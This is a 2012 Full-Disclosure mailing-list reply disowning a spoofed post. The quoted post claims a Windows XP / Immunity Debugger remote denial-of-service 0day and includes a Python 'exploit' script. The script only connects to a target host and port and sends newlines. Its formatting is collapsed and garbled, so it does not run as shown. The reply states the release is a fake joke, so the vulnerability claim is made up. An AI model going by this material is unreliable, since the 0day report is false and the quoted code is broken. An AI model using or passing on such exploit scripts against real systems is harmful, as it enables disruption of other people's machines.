Re: Windows XP denial of service 0day found in CTF exercise

[adam () infosecinstitute com]

Guys, this is a fake release, someone spoofed my email and sent this out
as a joke to mock the wicd release from last week. Please note that if you
click on the links, there is nothing there concerning this.




> On 04/17/2012 02:48 AM, Adam Behnke wrote:
> > Immunity Debugger Remote Denial of Service 0Day Tested against
> > version 1.76 and 1.80 on Windows XP distributions
> >
> > Has not been tested for potential privilege escalation vectors.
> >
> > We first wrote about Immunity Debugger here:
> > http://news.infosecinstitute.com/general/release-immunity-debugger-v1-80/
> >
> >  Discovered by a student that wishes to remain anonymous in the
> > course CTF. This 0day exploit for Windows was discovered by a
> > student in the InfoSec Institute Ethical Hacking class, during an
> > evening CTF exercise. The student wishes to remain anonymous, he
> > has contributed a python version of the 0day. A patch that can be
> > applied to Windows has not been made available. You can find a
> > python version of the exploit to copy and paste here:
> >
> >
> > #!/usr/bin/python #Windows XP denial of service 0day exploit
> > discovered on 4.9.12 by InfoSec Institute student #For full write
> > up and description go to
> > http://www.infosecinstitute.com/courses/ethical_hacking_training.html
> import sys
> > import os import time import getopt import socket
> >
> > class Error(Exception): def __init__(self, error):
> > self.errorStr=error  def __str__(self): return repr(self.errorStr)
> >
> > class Exploit():
> >
> > def __init__(self, targetHost, targetPort): self.targetHost =
> > targetHost
> >
> > def exploit(self, targetHost, targetPort):
> >
> > try: socket.inet_aton(targetHost) s =
> > socket.socket(socket.AF_INET,socket.SOCK_STREAM)
> > s.connect((targetHost,targetPort)) except socket.error: raise
> > Error("Unable to exploit (Connect failed.)") sys.exit(0)
> >
> > # exploit try: s.sendto("\n\n\n", (targetHost, targetPort))
> > except: raise Error("Unable to exploit (Exploit failed.)")
> >
> > def usage(): print "[!] Usage:" print "      ( -h, --help ):" print "
> > Print this message." print " ( --targetHost= ): Target host." print
> > "            --targetHost=127.0.0.1" print " ( --targetPort= ): Target
> > port." print "               --targetPort=8888"
> >
> > def main(): print "[$] Windows XP 0Day" try: opts, args =
> > getopt.getopt(sys.argv[1:], "h", ["help", "targetHost=",
> > "targetPort="]) except getopt.GetoptError, err: # Print help
> > information and exit: print '[!] Parameter error:' + str(err) #
> > Will print something like "option -a not recognized" usage()
> > sys.exit(0)
> >
> > targetHost=None targetPort=None  for opt, arg in opts: if opt in
> > ("-h", "--help"): usage() sys.exit(0) elif opt =="--targetHost":
> > targetHost=arg elif opt =="--targetPort": targetPort=arg else: # I
> > would be assuming to say we'll never get here. print "[!] Parameter
> > error." usage() sys.exit(0)  if not targetHost: print "[!]
> > Parameter error: targetHost not set." usage() sys.exit(0)
> >
> > if not targetPort: print "[!] Parameter error: targetPort not
> > set." usage() sys.exit(0)
> >
> > exploit = Exploit(targetHost, targetPort)
> >
> > print "[*] Attempting to exploit:"  try:
> > exploit.exploit(targetHost, int(targetPort)) except Error as
> > error: print "[!] Exploit Error: %s" % (error.errorStr) exit(0)
> > print "[*] Exploit appears to have worked."
> >
> > # Standard boilerplate to call the main() function to begin # the
> > program. if __name__=='__main__': main()
> >
> >
> >
> > _______________________________________________ Full-Disclosure -
> > We believe in it. Charter:
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